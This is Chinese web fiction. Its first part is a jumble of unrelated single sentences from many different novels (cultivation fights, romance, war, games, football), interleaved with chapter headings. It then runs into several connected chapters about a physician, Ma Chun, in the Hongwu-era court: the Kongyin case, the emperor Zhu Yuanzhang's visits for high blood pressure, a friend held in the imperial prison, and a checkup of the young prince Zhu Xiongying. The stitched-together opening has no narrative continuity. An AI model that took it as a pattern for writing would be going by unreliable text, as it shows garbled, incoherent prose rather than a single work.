夏老见夏天萌只是低着头不吭声,便问:“萌萌,你是怎么想的?”不能他一头热,他觉得杨牧野好,未必萌萌就喜欢。
此外,国军的空军基本上布置在南方,无力支援北平作战;而日军的飞机却随时可以升空支援前方作战。
仔细看去,却是他身后出现一个身影,正是先前还在两丈外的尹修玄,他双手一挥,两道光华闪过,明显是两件利刃。
“谁在说我们王爷的坏话?”一声冷哼,就看到中国顾问团团长韦国清和三个年轻的少将走了过来。
喻微言右手一卷,柳叶软刀腰身一软,尔后又直立起来,对着梦宏涛发出了一阵强大的蓝光。
“真的不用追吗,他们状态很差的。”鬼鲛不甘心地往身后看了一眼,只有夜晚的深邃。
在刚才的交手中,他居然没有抵挡住李天辰的雷狱一指,被伤到了双掌。
说完,方正摇摇头走了,这件事到此为止,再往深了说方正也不懂。不过这个问题的结症就在这句话里面。
秦明完了,邢天宇脑海中闪过一个念头,心中一阵无语,老子今天还就跟蛇怼上了么?昨天的梦境里看到巨蛇,几天又碰上了一条蛇妖,然而现在不是震惊的时候,还有一头怪物等着他们收拾呢。
有巢滕面色阴沉,他身为有巢氏一族的老人,费尽心机摆出今天的阵势,却是没有料到完全估算错有巢的情况。
陆远桥却是勾唇一笑,话语间满满的都是宠溺的味道,看得人心里也是觉得发腻。
的确是这样的,他从来没有想过有人会跟他一样的胡闹,也没有想过有人会这样的无理取闹,反正总而言之他都是郁闷了。
五人都是神罗高手,虽然说要战胜四十九尊神罗是不可能的,但是若说想要逃走,还是应该没有什么大问题的。
出了大厦,陈子默才感觉呼吸有点顺畅。手机响了起来,是家里面打来的,不用说,他也知道是自己的老妈,只不过心里还是有点希望是满佳。
“已经没有关系了,越是不工作,身体才越不好呢。”满佳笑呵呵的说道。
“嘶!”秦龙又想起另外一个严峻的问题,那就是,既然生物种族能够遇见到人类的进攻,那么反之,人类对于这些生物种族星球上的防御,不可能没有丝毫知晓。
“凭什么!”罗水山的话音刚落,杨阳就嘶吼了起来,叫声凄厉,甚至吓的外面的虫鸣都静了下来。
瘟神随后也表了态,示意自己和冥神有着同样的想法,不会参加这次生擒丁羽的行动。
刁月娥和李绣蓉见她们走了,也笑道:“我们忙完我们的也该告辞了。”说着,连忙到内室去铺抻衾枕。
“停下来!”楚卿用力的抱着她,莫大的力气几乎可以把萧采芙紧紧地揉进自己的身体里。
可是现在,这到底是怎么回事,她就这样平静的对自己说,不想玩下去了,不想要你了。就好像这么简单的一句话,把先前的疯狂统统的画上了一个完美的句话。这简直让袁东不能接受。
“轰!”第一道元魂在郑魁的身旁轰然炸开,郑辰不仅仅要自爆本体,他还要自爆元魂,他要用自己的元魂,将郑魁的元魂彻底碾灭。
油炸知了猴倒还不算麻烦,因为事先已经在盐水里腌过,知了猴都被淹死了,直接丢到油锅里炸就是了。
陈妍的汇报稿,连三分之一都没说完呢,但显然已经没有说下去的必要了。
“哎呀,一个月五六千能干啥。在江城市可啥也做不了。”连苏可鄙视的道。
刘凡和荀彧一起骑马来到军营,士兵们的训练气氛高涨,热火朝天,看得荀彧频频点头。
“好恐怖的力量!!只怕,如今单凭肉身的力量堪比顶级猛兽!!”秦宇都被自己体内的力量惊到了。
来到了村口,我们便埋伏了起来,躲在草丛之中,目光则一直向着村口望去,只是让我们有着疑惑的是,这邪物的气息竟然消失不见了,根本就没有在村口出现。
“不过你不用担心,你这把剑内元魂的主人应该是先天剑体者吧?既然是这般,那么存在于剑内的元魂便不会有所损伤,并且,哪怕是魂域域主出手,也无法办到将这道元魂从剑身中抽离出来。”老头子开口对着郑辰说着。
第111章 低血糖患者社死现场!!
这天半中午,马淳的医馆里还算清静。
他和徐妙云正坐在药房,整理新换的药材。
马淳抓了把陈皮丢进碾槽,准备磨粉。
在经过一番寻找之后,终于从不远处的草丛里,找到了自己手机。
芸雅说完竟然直接就要动手为李凡更衣的样子,让李凡身子下意识的一闪,躲开了芸雅的手。
毕竟修仙功法残缺,这些宗门虽然修炼了功法,却与修仙功法相差甚大。
“你的‘腿’被踩断了,疼吗?”罗斯问,孩子都比较招人疼,罗斯对孩子不喜欢也不反感,这孩子不知道谁家丢的,必定很着急,他要送回去的。
人体构造太过复杂,医学对人体的构造了解不到百分之十,又怎么能确定呢。
他胆战心惊的不住祈祷,上帝保佑德布劳内千万不要再有什么闪失了,否则佩莱格里尼和贝吉里斯坦一定会把自己生吞了。
时间不等人,即便是有一成的几率成功也比失败了要强。再说如果自己真的失败了的话那么可不仅仅是害了杜方的一丝分神,还害死了魔云宗的那个叫做杜方的弟子。
“不过,这次,咱们接下来在战场这边的口粮有了。”张凡呲牙一笑。
秦天说着,在老太太的太阳穴之上的地方点了一下,老太太直接昏睡了过去。
只不过,张子琪没有证据,对于当时的细节,甚至这件事情本身,究竟有没有发生过,完全都记不起来了,更没有太多的印象。
这下可就没有闲情雅致继续信步了,路遥坐上了马车,顾琮远就陪在她身边。
董自成也是顾氏集团的股东之一,顾木林和楚觅的国际他自然也参加了,所以认识楚觅。
中午,楚觅简单吃了点东西,利用短暂的时间午休了一下。下午又开始了紧张的拍摄。
这种境界的,果然就是不一样,出手的招数都是充满了刁钻和古怪。
“代价是?”苏清韵不敢相信,温云,松可不是什么好人,自然也不会做赔本的买卖。
这时,四面八方突然响起密集的枪声,“哒哒哒”“砰砰砰”礁石和洞顶上的人纷落水,游艇上撒网的人也没能幸免。
许安猛的抬头看着她,这行为让晓月看见,坚信这个消息的准确性,恐怕连苏青身边的这个护卫也没听说过。
沙沙想了想,决定把他们吓走,因为他们是人类,不是她的敌人。
“别急,我们还可以再聊会儿。”虞星楼一点儿也没有被威胁到。
以前每次都只是拉着妈咪的手,从来没有同时拉着爹地妈咪,现在一家人终于团聚了,这种左右被呵护的感觉很幸福很有安感。
过了一会,苏珊发现王雍睡着了,她的嘴角不由得露出一丝微笑,轻轻地把头靠在王雍的肩上。
宋辰光极其无奈的瞅了一眼自家老爸,然后心有不甘的捏住一块烤馒头享用起来,那表情说有多痛苦就有多痛苦。
奚老头一去数日未归,他也不甚担心,自家阿爷进山的那会哪次不是得呆上几天,有时甚至没找到心仪想要的药材窝在山沟里半个月不回来都是常事,大山对他阿爷而言,就像是后花园一样。
第112章 ‘空印案\’即将来袭!!
洪武年间的冬日,寒气凛冽。
医馆内,炉火烧得正旺,总算驱散了门缝钻进来的寒气。
突然,这男子周身的气势变得强盛起来,隐约丝丝淡金色的真气,不过这也只是一瞬间的,摆明了是收功前的征兆。
可反观自己这边呢,要是出个筑基境六层的弟子,直接排上去就完了,有时让人受不了的是到了半年换榜的时候居然一个筑基境六层的都没有,实在是丢人丢到了姥姥家。
而此时,距离茶室不远的楼道内,一点猩红忽暗忽明,一位黑衣汉子融在楼道的角落之中,这人不是别人正是刘军。
早就料到了,这个boss有恢复技能,cd时间了,左手的锁链邪恶的将紫金豹王拉了过来,野性冲锋再野蛮的发动,这一套技能流发动,银毒剑蓝色的剑锋刺入紫金豹王的胸膛,血液四溅。
这迷境丹非食用之物,乃是修士用于逃命时使用,一颗,可令方圆数千里的虚空乱象。
虐杀着绿风骑士,半响都找不到这【艾兰草】的踪迹,想了想李雅的话,有一种被骗的感觉,我这种人就是没有耐心,最讨厌的就是等人,这,找东西,毋庸置之是在考验我的耐心。
你来我往间,价格从五十万转眼就升到了九十万,此时叫价的声音不仅没有停息的意思,参与的人反而更多了。
段郎也确实觉得白苏珍人美心善,是很有好感的人。临别之际,珍重再三,怕伊人此去,难再见面,惆怅难免。
真不行,林奕会在第一时间回到老怪身边,有他在,自己也会很安全,不用担心什么。此人身份神秘,应大有来头。
可他记得自己还在殷族时,便只跟殷胜男相处的最久,显然殷胜男绝对不是一个呆萌的人,因此这份感觉,倒是说不出的怪异了,来的很唐突。
我们的口号是——死不可怕,死在国王陛下的臭屁下才是最可怕。
“傻姑娘。”若馨笑了笑,轻轻抚了抚胭脂也消瘦了许多的面庞。
林天遥无法摔倒的尸体已经严重受伤致命。更不用说避免它,不可能提高一半的力量。
张秀秀喜欢吃东西,他就带着张秀秀一起到森林中去打猎,然后回到白骨城烧烤。
此刻偌大的停车场,只剩下寥寥无几的几辆车。靳光衍停好车却没有下车,他给守在医院的那个男人打电话吩咐他下班。
艾丽看着楚傲天,心底认定了这就是她要找的男人,她的白马王子。
端木芷歌心中呢喃着,她已经按照林越的话安排了一切,没有人会去在意丹域另一边的动静。
就在星河有些生气的想要叫老者回来,不要暴露身份的时候,老者却已经抬起双手,从衣袖里喷出了大量的赤红色的毒雾。
还有一圈碎片缠在他手腕上,他伸手左手用力的扯,血一滴滴的掉。
只有拿下了阿尔斯山脉,才能够调转大军,向着蒙蒂希斯帝国杀去。
阿九翻了翻白眼,果然会武功的男人是不可估量的,这么高的地方摔下来,还充当了自己的肉垫,寻常的人早就挂了,会武功的男人却只需要睡一个晚上,就能恢复活力。
第113章 血压180!!这是被吓破了胆
翌日一早。
马淳翻看着手头一本泛黄的医书,心思却有些飘忽,昨夜巷中缇骑那急促的马蹄声,依旧在脑际回响。
便在这时门口传来急促的敲门声。
“开门!大夫救命!快开门啊!”
“我看你那样还是回家种地吧,哈哈,我告诉你你千万不要惹我,否则我把你全家全都杀掉。”黄天亮冷冷的威胁道。
这是三个冰蓝色的犹如鞭子状的东西,这三个东西郑龙云刚才从三尾雀的身上砍下来的那三条尾巴。
杨温虽然不知道龙云的地位在暗狱皇朝怎么这么高,但是依然热情地迎接了上来。
当她的生命在一点点的流逝,当死亡的气息在一点点的靠近,她真的好害怕,也好不舍,可即便如此,她那微薄的力量也终究敌不过命运的齿轮。
龙云的目光有向乞丐望去,乞丐也是摇了摇头表示自己也不认识他。
猿灵精神一振,马上明白了那粉色火焰就是关键,当下立即振翅往上飞,敖凡也明白了粉色火焰就是水晶骷髅的弱点,直接用意念控制着游离在骷髅全身的闪电汇聚在一起朝着粉色火焰飞去。
“不好能被一代长老收为弟子?我倒是觉得这肯定是一种打磨境界的功法,而且极有可能是你师父离忧传授给你的。”无歌笑道。
剑气足足持续了一天一夜,到了第二天仍然还有很多没有消散,只不过此刻的这些剑气已经不足以对秦瑶和周魃允造成威胁。
错了就是错了,假冒就是假冒,这是毋庸置疑的,便是你有天大的借口也无法掩盖弄虚作假欺瞒利用的事实。
民国初年,山东沂山潘家峪,有村民潘岐,父早卒,其独子也,与老母相依为命。其靠打柴为生,当日进山樵之,次日赶集鬻之换米,虽贫困,然能勉强度日而安之。
听到系统的回答,苏纯心中不由一怔,封印整个仙界,说实话他心中说不震惊那是不可能的。
“你这个魂淡!不许欺负和叶!我按照你说的做!”服部平次心里一痛,咬牙答应了下来。
周诺神情殷切,充满期待却又患得患失,生怕提的要求太高把江岳吓跑了,营中现在有两千个病人,全部治好肯定不现实,找来一些药给那些危重病人多吊几天命,体格好的就能抗过去,少死很多人。
他可没有医疗忍术的能力,只能够靠木叶村的医疗忍者,把宇智波佐助救回来。
曹丞相有曹丞相的考虑,霸府在这四十万移民身上花费的代价太大,不能让河东郡把好处全拿走了。
“真不愧是神的力量。”史提尔嘀咕了一声,看了看教堂方向,叹了一口气。
冒险者公会的招待员露娜,经常来魔王宫殿,向苏羽请教如何制作美味的料理。
虽说此地荒僻,但这种地方往往会有不少灵秀貌美的姑娘,加之很少与外界接触,单纯好骗,正中无情道人下怀。
三岁怕狗头来真的,自己也慌了,赶紧说着不用,让大家担心了,她晚点回去会好好沟通的。
那个家离这里并不算远,只是路上总是遇到一些凶兽,虽然实力都不算太强,但是一会儿冒出一个,很烦人。
果真任何的大种族都是有着强大的底蕴,亡灵一族竟然还有着如此强横的灵器,林宇也是没有想到的。
第114章账本,空印,户部,鬼……
飞飞一时没有搞清楚是怎么回事所以没有叫,迟钝也是要挨嘴巴子的。挨了第三个嘴巴子之后飞飞捂着已经发肿的脸很不情愿的叫道“峰哥”王峰只是淡淡的点了一下头,并没有说什么。
咔嚓,骨头的断裂声传来,那只狼发出一声刺耳的尖吼,全身瘫倒在地上,转眼化成一团紫雾消失不见。
古雪心中戚戚略显敬畏,沉思行走间几番暗自忖思,找不到合适交流的言语,惟恐言语有失,导致公公错失良医。
得到了实惠的承诺,各位将军们顿时面带笑容,回到军中各自找了几个倒霉蛋砍了祭旗,这一下官军才能从一盘散沙迅速的凝成一个拳头。李大元帅脸上笑了,各位将军们也笑了,就这样只用了十余日就感到了潮州城。
在唐露露的带领下,叶白很容易就到了附中教师办公大楼的五楼,来到了一间颇大的大厅里。
芙蓉帐暖度春宵。可是在天都人的心目中,芙蓉帐不仅仅是个销魂的去处,也是个风雅的去处。
探子们非常听话,过了有两个时辰,就赶忙回来对夏震回报前方、左方、右方和后方,四方都没有发现贼非的踪迹。
慕渝满意的见到那些老前辈眼中的腾起的熊熊怒火,心里偷笑着转身掩上了判律院的大门。
冯勇很纳闷,金杰的主力昨晚已经遭受重创,怎么可能还有这么多人?
红梅的远方亲戚拉来了搅拌机、起重机、振动机、推车等工具,节省了好多的人力。好在三相电起了大作用。
当无数只老鼠的爪子踩过我的后背,跃上我的头顶,再用强有力的后爪狠狠的蹬击一下我的后脑勺借力腾空而去的时候,我只有牢牢的抱住自己的面部以防被无知的老鼠毁坏了尊容。
灵蛇公子的赌注也许就在这里,他在赌一个希望,赌巫灵风不会让楚风去死。
哪怕楚风利用某种手段完全隐匿了他的气息,但是作为蛇族,他也有着本能的天赋。
唯恐天下不乱:还好,那批武器都装了最新爆破系统,只要宁宁毁尸灭迹就成。
非常奇怪,自从我学会吸收黑暗能量之后,我就拥有了感知的能力,可以觉察到周围的东西,最初开始是模糊的,很不清晰的。但是再次吸收了红发怪物全部的能量之后,我的视野开始宽阔起来。
在那个惨死在雷战手里的魔法师首领灵魂当中,雷战根本就看不到这座雕像的样子,因为雕像一直都被一层红色的雾气笼罩着,就算是在赐福的时候,这些雾气也没有完全消散过。
赵武刚要说话,忽然脸色一变,他的一只手掌竟然就变成了淡淡的黑色,而且这种黑色正在以肉眼可见的度蔓延着。
黑月一声令下,保镖全都冲了出来,他们可真是保镖,战斗的方式也是保镖的方式,冲上去,见人就揍,电炮,扁踹,还有一个保镖下口就咬。
听到这个名字,雷战也是愣了一下,这怎么还有主祭了,难道这个守护兽还是宗教的神祇吗?
一脚踏入传送门,迷雾沼泽熟悉的场景回到了眼前,我打开系统地图查看了一下,我的位置大概在迷雾沼泽的中心湖区,只需要向东穿越就可以离开这里。
这霹雳崩拳只要碰到对方的额身体,那力道不亚于直接装上一辆满载的卡车。
半天后,天色渐渐暗了下来,教皇宛如黑夜中的明灯,照亮了正片树下。
他笑的时候,竟然更加显得阴柔无比,让人鸡皮疙瘩都掉了一地。
阿格知道拼速度他拼不过苏白,这一刻,阿格只能是把自己的身体挡在苏白身前,好给斯科特尔创造机会。
壮汉的脸色古怪了起来,这说的和自己困扰多年的症状一模一样。
冯月听完,眉头一皱,说道:“花那冤枉钱干什么?咱们自己在家吃不行?”节俭惯了的她不太理解周羽的想法。
鲁尼很生气,而此时,坐在曼联俱乐部大楼内正和范加尔一同研究战术布置的吉格斯心里也不怎么好受。
黎雨竹本来也不怕得罪人,关系好的人有,闹掰的朋友也不少,她本来也不在乎。
苏安林叮嘱了一些,随后,便留下五个倒霉蛋查,剩下的人跟着苏安林走了。
最终,在达成了一致的利害关系之后,这个简短的语音电话终于是结束了。跟粉丝聊完的裴珠泫也带着满足的笑容,人家都是给她做视频翻译的了,在韩语这方面肯定是没什么问题。
而王通自己呢?他阴差阳错的将自己的一身所学合一,最终选择的竟然也是吞噬之道,不得不说,这更像是一种命运的巧合,是命运的力量,实在是太过讽刺了。
海龙深深的看了天琴一眼,微微一笑,道:“能得闻师姐仙乐,输又何妨,多谢师姐。”说着,他向天琴深深一揖,这才飘然下台。
魔力分配比例是6比4,百分之六十分配给一环巫术,剩下的分配给零环巫术。
但是,就只能设置这一项天赋要求,其他的诸如颜值、舞蹈、身高这些东西都不能设置了。
见得宋叔躺在一边,而那四个要杀自己的人已经朝着自己攻来,陆元的手一紧。
可饶是那二人再怎么劝说,许青让就跟吃了秤砣铁了心似的,非但不往外跑,甚至还在往里逼近,在傀儡的层层围攻下,他还是光荣的挂彩了。
以大家族的资源,不至于像他们这些人来混乱之林尝生死交织的感受吧?
要知道,每一头食人魔,天然就是精英模板。他们生下来就具备二阶顶峰的实力。
就连被誉为皇族守护者的谢七都站在亲王这边,那还有什么好说的呢?
等了十分钟,办公桌上的电话终于响了起来,肖林拿起一听,正是曲俊的声音。
“太好了。我建议,到时候可以给她一个惊喜!别忘了我们还有礼物。”露露无比兴奋地提议。
第115章 锦衣卫请喝茶!朱元璋突然到访
官员闻言,眼中的恐惧更甚。
他挣扎着想要坐起来,被马淳按住:“别动,小心针移位。”
这次围城大战虽然短暂,但依然有数千名战兵和武道界人士被斑族所侵。
“哈哈,我只是想试试嘛,凭我这点修为,恐怕还威胁不到你们吧。”儿子轻笑一声,收起武灵,闪身便从地上蹦了起来。
本来苏老夫人此次真心是想全家好好聊聊天,唯一的事儿是让苏亦瑶回去学,别的真没了,没想到自己儿子竟然提出这个要求,让她怎么不生气,于是这场谈话不欢而散了。
姜媚顿了顿,这么多年了,虽然在外面人看来,自己风光无限,千娇百媚,但真正隐藏在黑暗里的痛苦,只有她自己能懂。
慕长谷是因为身体不适的原因,每次朝还都强迫着自己,又有着父亲刚刚去世的感情的伤痛,怎么可以如此的劳累。为了缓解他的疲劳,这也是为何苏亦瑶会留在宫的真正的原因。
而在其中一根羊毛的根部,正有一道黑影在与一只多足的甲壳形生物大战着。视线定在黑影那张狰狞的脸上,竟与这方世界的任何生物都不一样,这张脸,竟是方的。
陈默的目光在下方众多的救援人员惊愕的脸上扫过,最终落在了周围的士兵和装甲车上。
说完,孙平浑身一震,断喝一声,掌心处的紫光大盛,同时,暗月掌所夹带着的煞气也强盛起来,最后竟是化成了一条紫色长蛇,冲着楚枫席卷而去。
而且根据行驶轨迹和方向,还能够提前做出判断和调整,如果前方行进方向上出现一块巨大的石块,战车能够在撞上之前,自动抬起相应的轮胎,按照扫描到的巨石轨迹,让战车平稳的从巨石上通过,而不会有任何颠簸。
最重要的是,如果这件事情变得有些荒唐,那么这件事情到最后的理由根本就不是那么可理喻的。
沈飞隐瞒了变色龙瞬间无影无踪和红色能量进入身体的细节。他当时感到左腕巨震,奇怪的是非但不疼,还有一种说不清道不明的力量向全身蔓延,绝对是源能之心在起作用,源能之心的事还不能让杜梦知道。
不仅仅是秦医生,其他被剥夺了医术的医生也在那里盯着,等着最后的审判。
自从秦川回城后,自己的判断就总是有偏差,朱达一边随着常申向里走,一边自我检讨,是不是因为要做的事情太多而精力有限所以做不过来。
不招人嫉是庸才,有着彭非这样的靠山在,不用那就是傻子,看着乐海那憋屈又不敢发的样子,乐冰心里郁闷少了一些。
喻微言随后召来了一阵沙尘暴,将邱然深深地掩埋进了沙土之中。
星炼自打听说了自己的体内的兽魂珠是靠两只兽宠耗极心神所遮盖,打从下山她就执意他们收手,大不了有兽类被吸引过来,再打回去就好了,若是因此而伤了两只兽宠的元神,她才是更过意不去。
双炽眉头一皱,在动静出现的一瞬间将星炼一揽,朝着一侧方向迅速游了过去。
第116章朱元璋:你觉得,咱该杀他们吗?
“嗯。”朱元璋摸了摸胸口,“这几日总觉得胸闷,头也晕。想起你上次说咱血压高,就来看看。”
马淳将朱元璋引入诊室,取出血压计。
侍卫们守在门外,只有蒋瓛跟了进来。
测量完毕,马淳收起器械,“陛下血压确实偏高,比上次又升高了些。最近可是政务繁忙?”
朱元璋叹了口气:“朝中事多,睡不好。”
马淳斟酌着词句:“陛下当以龙体为重。微臣再开些降压药,但关键还是要多休息。”
朱元璋没有接话,半晌,他突然道:“咱想出去坐坐。”
马淳一愣,随即明白过来:“院中有石凳,阳光正好。”
朱元璋起身走到院中,在石凳上坐下。
春日暖阳洒在他身上。
“马淳。”朱元璋突然开口,“你对现在的局势怎么看?”
马淳正在准备茶水,闻言手上一抖。
他定了定神,恭敬答道:“微臣只是个大夫,不懂朝局。”
朱元璋轻笑一声:“你连咱都敢训斥,现在倒谦虚起来了?”
马淳放下茶壶,斟酌道:“陛下明鉴。微臣确实只通医理,朝堂大事不敢妄言。”
朱元璋盯着他看了许久,“空印案,你知道吧?”
马淳后背一凉,强自镇定:“略有耳闻。”
“咱抓了不少人。”朱元璋的声音很平静,“有些已经招了,有些还在死扛。”
马淳不知该如何接话,只能沉默。
“你觉得,咱该杀他们吗?”朱元璋突然问道。
马淳深吸一口气:“陛下,微臣以为……”
“说实话。”朱元璋打断他,“就像你给咱看病时那样说。”
马淳咬了咬牙:“微臣以为,首恶当诛,胁从可悯。若一概而论,恐伤及无辜。”
朱元璋眯起眼睛:“哦?你觉得有冤枉的?”
“微臣不敢妄断。”马淳谨慎回答,“只是医者仁心,见不得太多人受苦。”
朱元璋忽然笑了:“你倒是实在。”他站起身,拍了拍衣服,“咱该回宫了。”
马淳连忙起身相送。
走到门口,朱元璋忽然回头:“你那降压药,再给咱准备些。”
“是,微臣这就去取。”
时间不长,马淳从医馆出来,将药递上去。
朱元璋接过药包,意味深长地看了马淳一眼:“记住你今天说的话。”
待皇帝的车驾远去,马淳才长舒一口气。
徐妙云从内室走出,脸色苍白:“陛下知道了?”
马淳摇头:“不确定。但今日绝非偶然。”
正说着,门外又传来脚步声。
两人警觉地望去,却见秦朗踉踉跄跄地冲了进来。
“马先生!”秦朗满脸是血,扑倒在门槛上。
马淳连忙上前扶住他:“你怎么……”
“诏狱……”秦朗气若游丝,“他们放我出来……让我带话……”
马淳和徐妙云对视一眼,心沉到谷底。
“什么话?”马淳沉声问。
秦朗艰难地抬起头:“明日午时……带着那半张药方……去,否则……傅世子性命不保……”
说完这话,秦朗头一歪,昏死过去。
马淳迅速检查他的伤势,发现除了皮外伤,还有内出血的迹象。
“帮我把他抬进去。”马淳对徐妙云说,“得赶紧止血。”
徐妙云却站着不动,眼中满是恐惧:“他们要那半张药方……”
马淳抱起秦朗:“先救人再说。”
内室里,马淳熟练地为秦朗清理伤口。
徐妙云在一旁递工具,手微微发抖。
“他们这是设好了圈套。”徐妙云低声道,“那药方就是证据。”
马淳没有回答,专注地缝合伤口。
直到最后一针打完,他才开口:“我知道。”
“那我们……”
“先看看秦朗知道些什么。”马淳洗了洗手,“等他醒了再说。”
傍晚时分,秦朗终于苏醒。
他虚弱地睁开眼,看到马淳守在床边。
“马先生……”他声音嘶哑。
马淳扶他喝了些水:“慢慢说,怎么回事?”
秦朗痛苦地闭上眼睛:“那天……我在书铺整理账本,无意中看到傅大人和几个官员在密谈……他们提到了空印的事……”
“你被发现了?”马淳问。
秦朗摇头:“我以为没人看见。谁知第二天就被抓了……他们逼我说出傅大人的秘密……”
“你说了什么?”徐妙云紧张地问。
“我什么都不知道啊!”秦朗激动起来,牵动了伤口,疼得直抽气,“他们就用刑……最后蒋瓛说,只要我带回那半张药方,就放了我……”
马淳眉头紧锁:“他们怎么知道药方的事?”
秦朗茫然地摇头:“我不知道……他们好像什么都知道……”
屋内陷入沉默。
“现在怎么办?”徐妙云打破沉默。
马淳沉思片刻:“药方不能交。那上面有太医院的印,交出去就是认罪。”
“可傅忠……”
“我去见蒋瓛。”马淳下定决心,“直接问他想要什么。”
……
翌日,诏狱门口。
“马兄来得倒快。”蒋瓛侧身让开半步,“傅世子等着呢。”
马淳跟着他穿过长廊,来到最里间的牢房。
原本以为会是以场惊心动魄的场景,但万万没想到……
傅忠正盘腿坐在草堆上啃烧鸡,油手在官服上蹭出几道亮痕。
“马兄!”看到马淳来了,傅忠蹦起来,油乎乎的爪子就要往马淳肩上拍,“我就知道你会来!”
蒋瓛咳嗽一声,傅忠讪讪缩回手。
马淳注意到他官服完好,连玉带都没松,显然没受过刑。
“傅世子,”蒋瓛敲了敲铁栅栏,“把你知道的再说一遍。”
傅忠眨巴着眼:“说什么?”
马淳上前半步:“秦朗在书铺看见你和户部官员谈空印的事。”
“就这事?”傅忠一拍大腿,“我们确实提了一嘴空印,但后面就没说了啊!”
蒋瓛冷笑:“接着编。”
傅忠急得直搓手:“真没说!马兄你信我,我傅忠虽然浑,但绝不碰空印这种杀头的勾当!”
马淳盯着他眼睛:“那你们后来聊什么?”
傅忠突然涨红了脸,声音低得几乎听不见:“一定要说?”
“生死关头,你以为我在玩笑?”马淳一把攥住他手腕。
傅忠的耳根红得像煮熟的虾,支支吾吾道:“他们俩是我朋友……就是当年带我去青楼的……听说我媳妇怀上了,特地来打听方子……”
他越说声越小,“毕竟这隐疾……我本打算带他们去找你看病的……”
牢房里静得可怕。
蒋瓛的嘴角抽了抽,马淳松开手,揉了揉眉心。
这很像这混货会做出来的事。
“就这?”蒋瓛的声音像是从牙缝里挤出来的。
傅忠委屈巴巴地点头:“千真万确!马兄的药方灵得很,我媳妇现在一顿能吃三碗饭……”
“闭嘴!”蒋瓛暴喝一声,“你老实待着!”
说完扶着额头就走。
马淳快步跟上:“指挥使,傅忠虽然荒唐,但绝不会……”
“我知道。”蒋瓛道:“但陛下要的是户部那条线。傅忠既然牵扯进来,总要有人给个交代。”
“蒋指挥,马兄,我何时能出去啊?”傅忠的破锣嗓子在长廊里回荡。
……
第117章 朱雄英得活,吕氏暴怒!!
远处传来铁链拖地的声响,几个锦衣卫押着个白发老者经过。
老者看到蒋瓛,突然嘶声大笑:“蒋瓛!你也有今天!空印案牵扯多少功臣,你以为陛下会信你片言只语?”
蒋瓛脸色阴沉如水。
马淳识趣地退后半步,却听蒋瓛低声道:“马大夫,陛下今早问起你。”
马淳心头一跳:“陛下?”
“说你医术高明,连傅忠的隐疾都能治。”蒋瓛意味深长地看他一眼。
马淳正要答话,忽听身后傅忠扯着嗓子喊:“马兄!记得给我媳妇带话,让她每天按你说的揉穴位——”
蒋瓛额角青筋暴起,甩袖而去。
走出诏狱时,朝阳刚好刺破云层。
马淳眯起眼,看见徐妙云的马车停在街角。
她掀开车帘,唇色比平时苍白几分。
“傅忠没事。”马淳上车后低声道,“但陛下明日要召我入宫。”
徐妙云指尖一颤,茶水泼在裙摆上:“为了空印案?”
马淳摇头:“说是诊脉。”
他握住妻子冰凉的手,“傅忠那傻子,把隐疾痊愈的事到处宣扬。”
徐妙云愣住,随即噗嗤笑出声。
笑着笑着突然捂住嘴,眼泪砸在马淳手背上。
“别怕。”马淳用袖子擦她眼角,“陛下若真要问罪,今日来的就不是蒋瓛了。”
马车经过户部衙门时,十几个书吏正被锦衣卫押出来。
有人突然挣脱束缚,一头撞在石狮子上。
血溅在“承宣四海”的匾额上,像盖了枚鲜红的印章。
徐妙云别过脸。
马淳放下车帘,轻声道:“回家说。”
医馆后院,小六正给新栽的药苗浇水。
见他们回来,小厮欲言又止。
马淳摆摆手:“今日闭馆,谁来都不见。”
……
翌日清晨。
马淳手持镶着木牍的腰牌,走过承天门外森严的守卫。
几个身着低阶官服的吏员被锦衣卫架着,踉跄拖过广场石板,玉带拖在地上发出刮擦的声响。
无人抬头看,只有一片压抑的死寂。
马淳收回目光,微垂着头,脚步不停。
引路的内侍是个中年宦官,“少师请随老奴这边走。”
东宫宫苑格局方正,气象森严。
穿过两道厚重的朱漆大门,细密的药味渐渐浓了。
内侍将马淳引至一座垂着青色帷幔的偏殿前,躬身道:“长孙殿下就在里面。太子妃吕娘娘正在照看。”
他特意在“吕娘娘”三字上放轻了语气。
宽大的雕花楠木榻上,朱雄英小小一团卧在锦被里,露出的额头饱满光洁。
较之前马淳在自家医馆救治时,那脸上的青气已彻底褪尽,疹子留下淡淡的印痕。
马皇后与一位身着檀色宫装、头戴金累丝点翠花簪的美妇并立在榻边。
美妇面容温婉,眼角微微上挑,带着一种娴静的贵气,正是太子妃吕氏。
“微臣马淳,拜见皇后娘娘、吕娘娘。”马淳按礼数伏身。
“马卿家快快请起。”马皇后语带亲近,又转头对榻上道,“雄英,你看谁来了?”
锦被动了动,朱雄英睁开眼,乌溜溜的眼珠转向门口,见是马淳,竟咧开小嘴笑了一下:“大夫哥哥……”
声音有些细弱,但精神不差。
先前在马淳医馆,这孩子烧得浑身通红,几乎人事不省,如今这一声清晰的呼唤,让马淳心头略松。
他忙趋近榻前,朱雄英伸出略显瘦小的手抓住他官服的袖子,小声道:“我的小木刀……好了吗?”
马淳闻言微窘。
上次救下这孩子后,听朱元璋提及皇长孙爱摆弄小兵器,曾口快应承日后寻巧匠修好他那柄因卧病而碰损的木头宝刀。
这等小事,本是他拉近与孩童距离的随口感诺,未料这孩子记得清楚。他忙温声道:“快了快了,下回臣进宫,定给小殿下带来。”
马皇后脸上笑意更浓,眼中全是慈和:“这孩子,醒来后念叨过你几回,心里承着你的情呢。马卿家这医者仁心,最是对小儿脾性。”
一旁的吕氏也跟着柔柔一笑,恰到好处地接话道:“正是呢,马大人实乃长孙的福星。若非大人当日妙手施救,长孙此番凶险难以想象。
“殿下每每念及,也是万分感念大人恩德的。”
她微微俯身,姿仪端雅无比,对着榻上的朱雄英轻声细语,“雄英好生听话,让马大人好好诊视,身体康泰了,方能习文练武,不负你皇祖父的期许。”
话语温存,听不出半分不妥。
马淳定了定神,取出药箱中的听筒。
殿内极为安静,马淳凝神细听。
左心区间歇传来轻微的收缩期杂音,与上次听诊所得并无太大差别。
他又小心解开孩子颈后系带,细察其背脊处残余的疹痕。
红晕已消退九成,只余薄薄一层淡褐色的印子,原先浮肿发热的表征确实消退得七七八八,只待调养了。
“娘娘放心,”马淳放下听筒,转向马皇后,“长孙殿下心肺之音虽略有微杂,但较月前已大有平复。
“疹毒已退尽,惟气血尚虚,体内余热未清,需仔细调养,补益正气,徐徐清解。
“微臣稍后再拟一剂温和的方子呈上。”
他一边说,一边熟练地从药箱小格中取出体温计。
咔嗒一声……
去除体温计的同时,却没想到体温计勾到了父亲留下的那枚玉佩的带子,玉佩随即被扯了出来,眼见着就要掉在地上,马淳眼疾手快一把捞住。
呼……
